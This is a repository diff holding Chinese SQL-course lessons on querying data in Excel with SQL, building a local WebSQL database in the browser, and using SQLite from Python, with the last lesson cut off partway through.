1. 数据透视表和数据透视图是Excel的两个重要功能,如何通过SQL查询在Excel中完成数据透视表和透视图?
|
||||
1. 如何让Excel与MySQL进行数据交互?
|
||||
|
||||
## 如何在Excel中获取外部数据源?
|
||||
|
||||
使用SQL查询数据,首先需要数据源。如果我们用Excel来呈现这些数据的话,就需要先从外部导入数据源。这里介绍两种直接导入的方式:
|
||||
|
||||
1. 通过OLE DB接口获取外部数据源;
|
||||
1. 通过Microsoft Query导入外部数据源。
|
||||
|
||||
下面我们通过导入数据源heros.xlsx体验一下这两种方式,你可以从[这里](https://github.com/cystanford/SQL-Excel)下载数据源。
|
||||
|
||||
### 通过OLE DB接口获取外部数据源
|
||||
|
||||
OLE的英文是Object Link and Embedding,中文意思是对象连接与嵌入,它是一种面向对象的技术。DB代表的就是数据库。OLE DB的作用就是通向不同的数据源的程序接口,方便获取外部数据,这里不仅包括ODBC,也包括其他非SQL数据类型的通路,你可以把OLE DB的作用理解成通过统一的接口来访问不同的数据源。
|
||||
|
||||
如果你想要在Excel中通过OLE DB接口导入数据,需要执行下面的步骤:
|
||||
|
||||
第一步,选择指定的文件。方法是通过“数据” → “现有连接”按钮选择连接。这里选择“浏览更多”,然后选择指定的xls文件。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/b5/81/b53c4acda1cf19a1943cf0123f5a2481.png" alt=""><br>
|
||||
第二步,选择指定的表格,勾选数据首行包含列标题,目的是将第一行的列名也加载进来。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/85/f9/8594b603410c1b7872de9d7ef38e7df9.png" alt=""><br>
|
||||
第三步,通过“属性” → “定义”中的命令文本来使用SQL查询,选择我们想要的数据,也可以将整张表直接导入到指定的位置。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/1d/f2/1df9b6d9ab9d4a854ab532f1f98ed1f2.png" alt=""><br>
|
||||
如果我们显示方式为“表”,导入全部的数据到指定的$A$1(代表A1单元格),那么在Excel中就可以导入整个数据表,如下图所示:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/ba/ab/baeb41a95f49eb1fb76d6afe48122aab.png" alt="">
|
||||
|
||||
### 通过Microsoft Query获取外部数据源
|
||||
|
||||
第二种方式是利用Microsoft Query功能导入外部数据源,具体步骤如下:
|
||||
|
||||
第一步,选择指定的文件。方法是通过“数据” → “获取外部数据”按钮选择数据库,这里我选择了“Excel Files”,然后选择我们想要导入的xls文件。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/c7/84/c7cb9168c77b11c0d7f90a86316c3b84.png" alt=""><br>
|
||||
第二步。选择可用的表和列,在左侧面板中勾选我们想要导入的数据表及相应的列,点击 (>) 按钮导入到右侧的面板中,然后点击下一步。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/1c/40/1ca1f6f8d11e2f0c70c0b81ff8647440.png" alt=""><br>
|
||||
最后我们可以选择“将数据返回Microsoft Excel”还是“在Microsoft Query中查看数据或编辑查询”。这里我们选择第一个选项。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/75/46/753b382fa6246c4dd1d7634d703dc646.png" alt=""><br>
|
||||
当我们选择“将数据返回到Microsoft Excel”后,接下来的操作和使用OLE DB接口方式导入数据一样,可以对显示方式以及属性进行调整:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/24/65/24c70f964bb4dbdaf388af45bc57d865.png" alt=""><br>
|
||||
这里,我们同样选择显示方式为“表”,导入全部的数据到指定的$A$1(代表A1单元格),同样会看到如下的结果:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/ba/ab/baeb41a95f49eb1fb76d6afe48122aab.png" alt="">
|
||||
|
||||
## 使用数据透视表和数据透视图做分析
|
||||
|
||||
通过上面的操作你也能看出来,从外部导入数据并不难,关键在于通过SQL控制想要的结果集,这里我们需要使用到Excel的数据透视表以及数据透视图的功能。
|
||||
|
||||
我简单介绍下数据透视表和数据透视图:
|
||||
|
||||
数据透视表可以快速汇总大量数据,帮助我们统计和分析数据,比如求和,计数,查看数据中的对比情况和趋势等。数据透视图则可以对数据透视表中的汇总数据进行可视化,方便我们直观地查看数据的对比与趋势等。
|
||||
|
||||
假设我想对主要角色(role_main)的英雄数据进行统计,分析他们平均的最大生命值(hp_max),平均的最大法力值(mp_max),平均的最大攻击值(attack_max),那么对应的SQL查询为:
|
||||
|
||||
```
|
||||
SELECT role_main, avg(hp_max) AS `平均最大生命`, avg(mp_max) AS `平均最大法力`, avg(attack_max) AS `平均最大攻击力`, count(*) AS num FROM heros GROUP BY role_main
|
||||
|
||||
```
|
||||
|
||||
### 使用SQL+数据透视表
|
||||
|
||||
现在我们使用SQL查询,通过OLE DB的方式来完成数据透视表。我们在第三步的时候选择“属性”,并且在命令文本中输入相应的SQL语句,注意这里的数据表是[heros$],对应的命令文本为:
|
||||
|
||||
```
|
||||
SELECT role_main, avg(hp_max) AS `平均最大生命`, avg(mp_max) AS `平均最大法力`, avg(attack_max) AS `平均最大攻击力`, count(*) AS num FROM [heros$] GROUP BY role_main
|
||||
|
||||
```
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/5f/0d/5ff31b9bc54a6d0c02e23775273ada0d.png" alt=""><br>
|
||||
然后我们在右侧面板中选择“数据透视表字段”,以便对数据透视表中的字段进行管理,比如我们勾选num,role_main,平均最大生命,平均最大法力,平均最大攻击力。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/cf/9d/cf3e3da9ddedb2d886806ac4b490059d.png" alt=""><br>
|
||||
最后会在Excel中呈现如下的数据透视表:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/c4/08/c41bd917642147b103ec3524d7a9f408.png" alt=""><br>
|
||||
操作视频如下:
|
||||
|
||||
<video poster="https://media001.geekbang.org/b29dda8f93f5475fa36cee2908a48e89/snapshots/d41bc8d4cddf43b1aad2baa48293dcc7-00002.jpg" preload="none" controls=""><source src="https://media001.geekbang.org/customerTrans/fe4a99b62946f2c31c2095c167b26f9c/4a4da64f-16d00e8d8a6-0000-0000-01d-dbacd.mp4" type="video/mp4"><source src="https://media001.geekbang.org/b29dda8f93f5475fa36cee2908a48e89/06365f50429e4e849bea2767ce97fbf9-28c4680fd9b67ce1559bbe18701345b0-sd.m3u8" type="application/x-mpegURL"><source src="https://media001.geekbang.org/b29dda8f93f5475fa36cee2908a48e89/06365f50429e4e849bea2767ce97fbf9-7300b80dc359dc62ac7bd12b7c613c4b-hd.m3u8" type="application/x-mpegURL"></video>
|
||||
|
||||
### 使用SQL+数据透视图
|
||||
|
||||
数据透视图可以呈现可视化的形式,方便我们直观地了解数据的特征。这里我们使用SQL查询,通过Microsoft Query的方式来完成数据透视图。我们在第三步的时候选择在Microsoft Query中查看数据或编辑查询,来看下Microsoft Query的界面:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/c7/20/c7d10db98c4e2226b663bbb7baefba20.png" alt=""><br>
|
||||
然后我们点击“SQL”按钮,可以对SQL语句进行编辑,筛选我们想要的结果集,可以得到:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/2b/7d/2b9b5f3495013b62b7ba6e3186cf257d.png" alt=""><br>
|
||||
然后选择“将数据返回Microsoft Excel”,在返回时选择“数据透视图”,然后在右侧选择数据透视图的字段,就可以得到下面这张图:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/46/02/46829993666745ecc578b22ffcde4802.png" alt=""><br>
|
||||
你可以看到使用起来还是很方便。
|
||||
|
||||
具体操作视频如下:
|
||||
|
||||
<video poster="https://media001.geekbang.org/14c910e996e24edd885b36ad78b5669e/snapshots/e158d539e90e481da88ec1afbba55e0c-00003.jpg" preload="none" controls=""><source src="https://media001.geekbang.org/customerTrans/fe4a99b62946f2c31c2095c167b26f9c/205093c2-16cdc0fb400-0000-0000-01d-dbacd.mp4" type="video/mp4"><source src="https://media001.geekbang.org/14c910e996e24edd885b36ad78b5669e/cbda41eada774746bf4366e2d9b866cc-930f258a810ec8de0e10eccc7e3abe1f-sd.m3u8" type="application/x-mpegURL"><source src="https://media001.geekbang.org/14c910e996e24edd885b36ad78b5669e/cbda41eada774746bf4366e2d9b866cc-4b128136a12f79aeec3215cd333d5da0-hd.m3u8" type="application/x-mpegURL"></video>
|
||||
|
||||
## 让Excel与MySQL进行数据交互
|
||||
|
||||
刚才我们讲解的是如何从Excel中导入外部的xls文件数据,并在Excel实现数据透视表和数据透视图的呈现。实际上,Excel也可以与MySQL进行数据交互,这里我们需要使用到MySQL for Excel插件:
|
||||
|
||||
下载mysql-for-excel并安装,地址:[https://dev.mysql.com/downloads/windows/excel/](https://dev.mysql.com/downloads/windows/excel/)
|
||||
|
||||
下载mysql-connector-odbc并安装,地址:[https://dev.mysql.com/downloads/connector/odbc/](https://dev.mysql.com/downloads/connector/odbc/)
|
||||
|
||||
这次我们的任务是给数据表增加一个last_name字段,并且使用Excel的自动填充功能来填充好英雄的姓氏。
|
||||
|
||||
第一步,连接MySQL。打开一个新的Excel文件的时候,会在“数据”面板中看到MySQL for Excel的插件,点击后可以打开MySQL的连接界面,如下:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/ec/3c/ec96481d8517bc7b08728630d3b1aa3c.png" alt=""><br>
|
||||
第二步,导入heros数据表。输入密码后,我们在右侧选择想要的数据表heros,然后选择Import MySQL Data导入数据表的导入,结果如下:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/33/15/333b8dc9913bcdf19d74e685f6751015.png" alt=""><br>
|
||||
第三步,创建last_name字段,使用Excel的自动填充功能来进行姓氏的填写(Excel自带的“自动填充”可以帮我们智能填充一些数据),完成之后如下图所示:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/80/b7/801e1ec489d650a7df244b3737346cb7.png" alt=""><br>
|
||||
第四步,将修改好的Excel表导入到MySQL中,创建一个新表heros_xls。选中整个数据表(包括数据行及列名),然后在右侧选择“Export Excel Data to New Table”。这时在MySQL中你就能看到相应的数据表heros_xls了,我们在MySQL中使用SQL进行查询:
|
||||
|
||||
```
|
||||
mysql > SELECT * FROM heros_xls
|
||||
|
||||
```
|
||||
|
||||
运行结果(69条记录):
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/86/56/868182e27c6a4a80db0f0f7decbc7956.png" alt=""><br>
|
||||
需要说明的是,有时候自动填充功能并不完全准确,我们还需要对某些数据行的last_name进行修改,比如“夏侯惇”的姓氏应该改成“夏侯”,“百里守约”改成“百里”等。
|
||||
|
||||
## 总结
|
||||
|
||||
我们今天讲解了如何在Excel中使用SQL进行查询,在这个过程中你应该对”SQL定义了查询的标准“更有体会。SQL使得各种工具可以遵守SQL语言的标准(当然也有各自的方言)。
|
||||
|
||||
如果你已经是个SQL高手,你会发现原来SQL和Excel还可以如此“亲密”。Excel作为使用人数非常多的办公软件,提供了SQL查询会让我们操作起来非常方便。如果你还没有使用过Excel的这些功能,那么就赶快来用一下吧。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/4f/2a/4ffdbea0e37e11aedb9cdebb9d2a1c2a.png" alt=""><br>
|
||||
SQL作为一门结构化查询语言,具有很好的通用性,你还在其他工具中使用过SQL语言吗?如果有的话可以分享一下你的体会。
|
||||
|
||||
最后留一道动手题吧。你可以创建一个新的xls文件,导入heros.xlsx数据表,用数据透视图的方式对英雄主要定位为刺客、法师、射手的英雄数值进行可视化,数据查询方式请使用SQL查询,统计的英雄数值为平均生命成长hp_growth,平均法力成长mp_growth,平均攻击力成长attack_growth。
|
||||
|
||||
欢迎你在评论区写下你的体会与思考,也欢迎把这篇文章分享给你的朋友或者同事,一起来交流。
|
||||
238
极客时间专栏/geek/SQL必知必会/第三章:认识DBMS/39丨WebSQL:如何在H5中存储一个本地数据库?.md
Normal file
238
极客时间专栏/geek/SQL必知必会/第三章:认识DBMS/39丨WebSQL:如何在H5中存储一个本地数据库?.md
Normal file
@@ -0,0 +1,238 @@
|
||||
<audio id="audio" title="39丨WebSQL:如何在H5中存储一个本地数据库?" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/07/2d/076c8dbf3c6c4934fd0886ac5bf45c2d.mp3"></audio>
|
||||
|
||||
上一篇文章中,我们讲到了如何在Excel中使用SQL进行查询。在Web应用中,即使不通过后端语言与数据库进行操作,在Web前端中也可以使用WebSQL。WebSQL是一种操作本地数据库的网页API接口,通过它,我们就可以操作客户端的本地存储。
|
||||
|
||||
今天的课程主要包括以下几方面的内容:
|
||||
|
||||
1. 本地存储都有哪些,什么是WebSQL?
|
||||
1. 使用WebSQL的三个核心方法是什么?
|
||||
1. 如何使用WebSQL在本地浏览器中创建一个王者荣耀英雄数据库,并对它进行查询和页面的呈现?
|
||||
|
||||
## 本地存储都有哪些?什么是WebSQL?
|
||||
|
||||
我刚才讲到了WebSQL实际上是本地存储。其实本地存储是个更大的概念,你现在可以打开Chrome浏览器,看下本地存储都包括了哪些。
|
||||
|
||||
Cookies是最早的本地存储,是浏览器提供的功能,并且对服务器和JS开放,这意味着我们可以通过服务器端和客户端保存Cookies。不过可以存储的数据总量大小只有4KB,如果超过了这个限制就会忽略,没法进行保存。
|
||||
|
||||
Local Storage与Session Storage都属于Web Storage。Web Storage和Cookies类似,区别在于它有更大容量的存储。其中Local Storage是持久化的本地存储,除非我们主动删除数据,否则会一直存储在本地。Session Storage只存在于Session会话中,也就是说只有在同一个Session的页面才能使用,当Session会话结束后,数据也会自动释放掉。
|
||||
|
||||
WebSQL与IndexedDB都是最新的HTML5本地缓存技术,相比于Local Storage和Session Storage来说,存储功能更强大,支持的数据类型也更多,比如图片、视频等。
|
||||
|
||||
WebSQL更准确的说是WebSQL DB API,它是一种操作本地数据库的网页API接口,通过API可以完成客户端数据库的操作。当我们使用WebSQL的时候,可以方便地用SQL来对数据进行增删改查。而这些浏览器客户端,比如Chrome和Safari会用SQLite实现本地存储。
|
||||
|
||||
如果说WebSQL方便我们对RDBMS进行操作,那么IndexedDB则是一种NoSQL方式。它存储的是key-value类型的数据,允许存储大量的数据,通常可以超过250M,并且支持事务,当我们对数据进行增删改查(CRUD)的时候可以通过事务来进行。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/58/a2/58a474019f55d9854034ed244c4ec4a2.png" alt=""><br>
|
||||
你能看到本地存储包括了多种存储方式,它可以很方便地将数据存储在客户端中,在使用的时候避免重复调用服务器的资源。
|
||||
|
||||
需要说明的是,今天我要讲的WebSQL并不属于HTML5规范的一部分,它是一个单独的规范,只是随着HTML5规范一起加入到了浏览器端。主流的浏览器比如Chrome、Safari和Firefox都支持WebSQL,我们可以在JavaScript脚本中使用WebSQL对客户端数据库进行操作。
|
||||
|
||||
## 如何使用WebSQL
|
||||
|
||||
如果你的浏览器不是上面说的那三种,怎么检测你的浏览器是否支持WebSQL呢?这里你可以检查下window对象中是否存在openDatabase属性,方法如下:
|
||||
|
||||
```
|
||||
if (!window.openDatabase) {
|
||||
alert('浏览器不支持WebSQL');
|
||||
}
|
||||
|
||||
完整代码如下:
|
||||
<!DOCTYPE HTML>
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<title>SQL必知必会</title>
|
||||
<script type="text/javascript">
|
||||
if (!window.openDatabase) {
|
||||
alert('浏览器不支持WebSQL');
|
||||
}
|
||||
</script>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
<div id="status" name="status">WebSQL Test</div>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
```
|
||||
|
||||
如果浏览器不支持WebSQL,会有弹窗提示“浏览器不支持WebSQL”,否则就不会有弹窗提示。使用WebSQL也比较简单,主要的方法有3个。
|
||||
|
||||
### 打开数据库:openDatabase()
|
||||
|
||||
我们可以使用openDatabase打开一个已经存在的数据库,也可以创建新的数据库。如果数据库已经存在了,就会直接打开;如果不存在则会创建。方法如下:
|
||||
|
||||
```
|
||||
var db = window.openDatabase(dbname, version, dbdesc, dbsize,function() {});
|
||||
|
||||
```
|
||||
|
||||
这里openDatabase方法中一共包括了5个参数,分别为数据库名、版本号、描述、数据库大小、创建回调。其中创建回调可以缺省。
|
||||
|
||||
使用openDatabase方法会返回一个数据库句柄,我们可以将它保存在变量db中,方便我们后续进行使用。
|
||||
|
||||
如果我们想要创建一个名为wucai的数据库,版本号为1.0,数据库的描述是“王者荣耀数据库”,大小是1024*1024,创建方法为下面这样。
|
||||
|
||||
```
|
||||
var db = openDatabase('wucai', '1.0', '王者荣耀数据库', 1024 * 1024);
|
||||
|
||||
```
|
||||
|
||||
### 事务操作:transaction()
|
||||
|
||||
我们使用transaction方法来对事务进行处理,执行提交或回滚操作,方法如下:
|
||||
|
||||
```
|
||||
transaction(callback, errorCallback, successCallback);
|
||||
|
||||
```
|
||||
|
||||
这里的3个参数代表的含义如下:
|
||||
|
||||
1. 处理事务的回调函数(必选),在回调函数中可以执行SQL语句,会使用到ExecuteSQL方法;
|
||||
1. 执行失败时的回调函数(可选);
|
||||
1. 执行成功时的回调函数(可选)。
|
||||
|
||||
如果我们进行了一个事务处理,包括创建heros数据表,想要插入一条数据,方法如下:
|
||||
|
||||
```
|
||||
db.transaction(function (tx) {
|
||||
tx.executeSql('CREATE TABLE IF NOT EXISTS heros (id unique, name, hp_max, mp_max, role_main)');
|
||||
tx.executeSql('INSERT INTO heros (id, name, hp_max, mp_max, role_main) VALUES (10000, "夏侯惇", 7350, 1746, "坦克")');
|
||||
});
|
||||
|
||||
```
|
||||
|
||||
这里执行的事务就是一个方法,包括两条SQL语句。tx表示的是回调函数的接收参数,也就是transaction对象的引用,方便我们在方法中进行使用。
|
||||
|
||||
### SQL执行:executeSql()
|
||||
|
||||
ExecuteSQL命令用来执行SQL语句,即增删改查。方法如下:
|
||||
|
||||
```
|
||||
tx.executeSql(sql, [], callback, errorCallback);
|
||||
|
||||
```
|
||||
|
||||
这里包括了4个参数,它们代表的含义如下所示:
|
||||
|
||||
1. 要执行的sql语句。
|
||||
1. SQL语句中的占位符(?)所对应的参数。
|
||||
1. 执行SQL成功时的回调函数。
|
||||
1. 执行SQL失败时的回调函数。
|
||||
|
||||
假如我们想要创建一个heros数据表,可以使用如下命令:
|
||||
|
||||
```
|
||||
tx.executeSql('CREATE TABLE IF NOT EXISTS heros (id unique, name, hp_max, mp_max, role_main)');
|
||||
|
||||
```
|
||||
|
||||
假如我们想要对刚创建的heros数据表插入一条数据,可以使用:
|
||||
|
||||
```
|
||||
tx.executeSql('INSERT INTO heros (id, name, hp_max, mp_max, role_main) VALUES (10000, "夏侯惇", 7350, 1746, "坦克")');
|
||||
|
||||
```
|
||||
|
||||
## 在浏览器端做一个王者荣耀英雄的查询页面
|
||||
|
||||
刚才我讲解了WebSQL的基本语法,现在我们就来用刚学到的东西做一个小练习:在浏览器端做一个王者荣耀英雄的创建和查询页面。
|
||||
|
||||
具体步骤如下:
|
||||
|
||||
1. 初始化数据:我们需要在HTML中设置一个id为datatable的table表格,然后在JavaScript中创建init()函数,获取id为datatable的元素。
|
||||
1. 创建showData方法:参数为查询出来的数据row,showData方法可以方便地展示查询出来的一行数据我们在数据表中的字段为id、name、hp_max、mp_max和role_main,因此我们可以使用row.id、row.name、row.hp_max、row.mp_max和row.role_main来获取这些字段的数值,并且创建相应的标签,将这5个字段放到一个里面。
|
||||
1. 使用openDatabase方法打开数据库:这里我们定义的数据库名为wucai,版本号为1.0,数据库描述为“王者荣耀英雄数据”,大小为1024 * 1024。
|
||||
1. 使用transaction方法执行两个事务:第一个事务是创建heros数据表,并且插入5条数据。第二个事务是对heros数据表进行查询,并且对查询出来的数据行使用showData方法进行展示。
|
||||
|
||||
完整代码如下(也可以通过[GitHub]((https://github.com/cystanford/WebSQL))下载):
|
||||
|
||||
```
|
||||
<!DOCTYPE HTML>
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<title>SQL必知必会</title>
|
||||
<script type="text/javascript">
|
||||
// 初始化
|
||||
function init() {
|
||||
datatable = document.getElementById("datatable");
|
||||
}
|
||||
// 显示每个英雄的数据
|
||||
function showData(row){
|
||||
var tr = document.createElement("tr");
|
||||
var td1 = document.createElement("td");
|
||||
var td2 = document.createElement("td");
|
||||
var td3 = document.createElement("td");
|
||||
var td4 = document.createElement("td");
|
||||
var td5 = document.createElement("td");
|
||||
td1.innerHTML = row.id;
|
||||
td2.innerHTML = row.name;
|
||||
td3.innerHTML = row.hp_max;
|
||||
td4.innerHTML = row.mp_max;
|
||||
td5.innerHTML = row.role_main;
|
||||
tr.appendChild(td1);
|
||||
tr.appendChild(td2);
|
||||
tr.appendChild(td3);
|
||||
tr.appendChild(td4);
|
||||
tr.appendChild(td5);
|
||||
datatable.appendChild(tr);
|
||||
}
|
||||
// 设置数据库信息
|
||||
var db = openDatabase('wucai', '1.0', '王者荣耀英雄数据', 1024 * 1024);
|
||||
var msg;
|
||||
// 插入数据
|
||||
db.transaction(function (tx) {
|
||||
tx.executeSql('CREATE TABLE IF NOT EXISTS heros (id unique, name, hp_max, mp_max, role_main)');
|
||||
tx.executeSql('INSERT INTO heros (id, name, hp_max, mp_max, role_main) VALUES (10000, "夏侯惇", 7350, 1746, "坦克")');
|
||||
tx.executeSql('INSERT INTO heros (id, name, hp_max, mp_max, role_main) VALUES (10001, "钟无艳", 7000, 1760, "战士")');
|
||||
tx.executeSql('INSERT INTO heros (id, name, hp_max, mp_max, role_main) VALUES (10002, "张飞", 8341, 100, "坦克")');
|
||||
tx.executeSql('INSERT INTO heros (id, name, hp_max, mp_max, role_main) VALUES (10003, "牛魔", 8476, 1926, "坦克")');
|
||||
tx.executeSql('INSERT INTO heros (id, name, hp_max, mp_max, role_main) VALUES (10004, "吕布", 7344, 0, "战士")');
|
||||
msg = '<p>heros数据表创建成功,一共插入5条数据。</p>';
|
||||
document.querySelector('#status').innerHTML = msg;
|
||||
});
|
||||
// 查询数据
|
||||
db.transaction(function (tx) {
|
||||
tx.executeSql('SELECT * FROM heros', [], function (tx, data) {
|
||||
var len = data.rows.length;
|
||||
msg = "<p>查询记录条数: " + len + "</p>";
|
||||
document.querySelector('#status').innerHTML += msg;
|
||||
// 将查询的英雄数据放到 datatable中
|
||||
for (i = 0; i < len; i++){
|
||||
showData(data.rows.item(i));
|
||||
}
|
||||
});
|
||||
|
||||
});
|
||||
</script>
|
||||
</head>
|
||||
<body>
|
||||
<div id="status" name="status">状态信息</div>
|
||||
<table border="1" id="datatable"></table>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
```
|
||||
|
||||
演示结果如下:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/3e/33/3e7e08ea2c5d768ed0bdbd757c6b8f33.png" alt=""><br>
|
||||
你能看到使用WebSQL来操作本地存储还是很方便的。
|
||||
|
||||
刚才我们讲的是创建本地存储,那么如何删除呢?你可以直接通过浏览器来删除,比如在Chrome浏览器中找到Application中的Clear storage,然后使用Clear site data即可:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/0e/db/0eec0b6cd8a11e6e52af6595b02ac9db.png" alt="">
|
||||
|
||||
## 总结
|
||||
|
||||
今天我讲解了如何在浏览器中通过WebSQL来操作本地存储,如果想使用SQL来管理和查询本地存储,我们可以使用WebSQL,通过三个核心的方法就可以方便让我们对数据库的连接,事务处理,以及SQL语句的执行来进行操作。我在Github上提供了操作的HTML代码,如果还没有使用过WebSQL就快来使用下吧。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/df/b0/dfdfe930267465e4ec99adc4f73aefb0.png" alt=""><br>
|
||||
我今天讲到了本地存储,在浏览器中包括了Cookies、Local Storage、Session Storage、WebSQL和IndexedDB这5种形式的本地存储,你能说下它们之间的区别么?
|
||||
|
||||
最后是一道动手题,请你使用WebSQL创建数据表heros,并且插入5个以上的英雄数据,字段为id、name、hp_max、mp_max、role_main。在HTML中添加一个输入框,可以输入英雄的姓名,并对该英雄的数据进行查询,如下图所示:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/dc/08/dcdefa40424e4e9910dbef9dd6938d08.png" alt=""><br>
|
||||
欢迎你在评论区写下你的答案,我会和你一起交流,也欢迎把这篇文章分享给你的朋友或者同事,与他们一起交流一下。
|
||||
211
极客时间专栏/geek/SQL必知必会/第三章:认识DBMS/40丨SQLite:为什么微信用SQLite存储聊天记录?.md
Normal file
211
极客时间专栏/geek/SQL必知必会/第三章:认识DBMS/40丨SQLite:为什么微信用SQLite存储聊天记录?.md
Normal file
@@ -0,0 +1,211 @@
|
||||
<audio id="audio" title="40丨SQLite:为什么微信用SQLite存储聊天记录?" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/47/e1/47738cbc6adc70f6ac54bb1eb1113be1.mp3"></audio>
|
||||
|
||||
我在上一篇文章中讲了WebSQL,当我们在Chrome、Safari和Firefox等浏览器客户端中使用WebSQL时,会直接操作SQLite。实际上SQLite本身是一个嵌入式的开源数据库引擎,大小只有3M左右,可以将整个SQLite嵌入到应用中,而不用采用传统的客户端/服务器(Client/Server)的架构。这样做的好处就是非常轻便,在许多智能设备和应用中都可以使用SQLite,比如微信就采用了SQLite作为本地聊天记录的存储。
|
||||
|
||||
今天我们就来深入了解一下SQLite,今天的内容主要包括以下几方面:
|
||||
|
||||
1. SQLite是什么?它有哪些优点和不足?
|
||||
1. 如何在Python中使用SQLite?
|
||||
1. 如何编写SQL,通过SQLite查找微信的聊天记录?
|
||||
|
||||
## SQLite是什么
|
||||
|
||||
SQLite是在2000年发布的,到目前为止已经有19年了。一直采用C语言编写,采用C语言而非C++面向对象的方式,可以提升代码底层的执行效率。但SQLite也有一些优势与不足。
|
||||
|
||||
它的优势在于非常轻量级,存储数据非常高效,查询和操作数据简单方便。此外SQLite不需要安装和配置,有很好的迁移性,能够嵌入到很多应用程序中,与托管在服务器上的RDBMS相比,约束少易操作,可以有效减少服务器的压力。
|
||||
|
||||
不足在于SQLite常用于小到中型的数据存储,不适用高并发的情况。比如在微信本地可以使用SQLite,即使是几百M的数据文件,使用SQLite也可以很方便地查找数据和管理,但是微信本身的服务器就不能使用SQLite了,因为SQLite同一时间只允许一个写操作,吞吐量非常有限。
|
||||
|
||||
作为简化版的数据库,SQLite没有用户管理功能,在语法上也有一些自己的“方言”。比如在SQL中的SELECT语句,SQLite可以使用一个特殊的操作符来拼接两个列。在MySQL中会使用函数concat,而在SQLite、PostgreSQL、Oracle和Db2中使用||号,比如:SELECT `MesLocalID || Message FROM "Chat_1234"`。
|
||||
|
||||
这个语句代表的是从Chat_1234数据表中查询MesLocalID和Message字段并且将他们拼接起来。
|
||||
|
||||
但是在SQLite中不支持RIGHT JOIN,因此你需要将右外连接转换为左外连接,也就是LEFT JOIN,写成下面这样:
|
||||
|
||||
```
|
||||
SELECT * FROM team LEFT JOIN player ON player.team_id = team.team_id
|
||||
|
||||
```
|
||||
|
||||
除此以外SQLite仅支持只读视图,也就是说,我们只能创建和读取视图,不能对它们的内容进行修改。
|
||||
|
||||
总的来说支持SQL标准的RDBMS语法都相似,只是不同的DBMS会有一些属于自己的“方言”,我们使用不同的DBMS的时候,需要注意。
|
||||
|
||||
## 在Python中使用SQLite
|
||||
|
||||
我之前介绍过如何在Python中使用MySQL,其中会使用到DB API规范(如下图所示)。基于DB API规范,我们可以对数据库进行连接、交互以及异常的处理。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/ef/a4/efd39186177ed0537e6e75dccaf3cba4.png" alt=""><br>
|
||||
在Python中使用SQLite也会使用到DB API规范,与使用MySQL的交互方式一样,也会用到connection、cursor和exceptions。在Python中集成了SQLite3,直接加载相应的工具包就可以直接使用。下面我们就来看下如何在Python中使用SQLite。
|
||||
|
||||
在使用之前我们需要进行引用SQLite,使用:
|
||||
|
||||
```
|
||||
import sqlite3
|
||||
|
||||
```
|
||||
|
||||
然后我们可以使用SQLite3创建数据库连接:
|
||||
|
||||
```
|
||||
conn = sqlite3.connect("wucai.db")
|
||||
|
||||
```
|
||||
|
||||
这里我们连接的是wucai.db这个文件,如果没有这个文件存储,上面的调用会自动在相应的工程路径里进行创建,然后我们可以使用conn操作连接,通过会话连接conn来创建游标:
|
||||
|
||||
```
|
||||
cur = conn.cursor()
|
||||
|
||||
```
|
||||
|
||||
通过这一步,我们得到了游标cur,然后可以使用execute()方法来执行各种DML,比如插入,删除,更新等,当然我们也可以进行SQL查询,用的同样是execute()方法。
|
||||
|
||||
比如我们想要创建heros数据表,以及相应的字段id、name、hp_max、mp_max、role_main,可以写成下面这样:
|
||||
|
||||
```
|
||||
cur.execute("CREATE TABLE IF NOT EXISTS heros (id int primary key, name text, hp_max real, mp_max real, role_main text)")
|
||||
|
||||
```
|
||||
|
||||
在创建之后,我们可以使用execute()方法来添加一条数据:
|
||||
|
||||
```
|
||||
cur.execute('insert into heros values(?, ?, ?, ?, ?)', (10000, '夏侯惇', 7350, 1746, '坦克'))
|
||||
|
||||
```
|
||||
|
||||
需要注意的是,一条一条插入数据太麻烦,我们也可以批量插入,这里会使用到executemany方法,这时我们传入的参数就是一个元组,比如:
|
||||
|
||||
```
|
||||
cur.executemany('insert into heros values(?, ?, ?, ?, ?)',
|
||||
((10000, '夏侯惇', 7350, 1746, '坦克'),
|
||||
(10001, '钟无艳', 7000, 1760, '战士'),
|
||||
(10002, '张飞', 8341, 100, '坦克'),
|
||||
(10003, '牛魔', 8476, 1926, '坦克'),
|
||||
(10004, '吕布', 7344, 0, '战士')))
|
||||
|
||||
```
|
||||
|
||||
如果我们想要对heros数据表进行查询,同样使用execute执行SQL语句:
|
||||
|
||||
```
|
||||
cur.execute("SELECT id, name, hp_max, mp_max, role_main FROM heros")
|
||||
|
||||
```
|
||||
|
||||
这时cur会指向查询结果集的第一个位置,如果我们想要获取数据有以下几种方法:
|
||||
|
||||
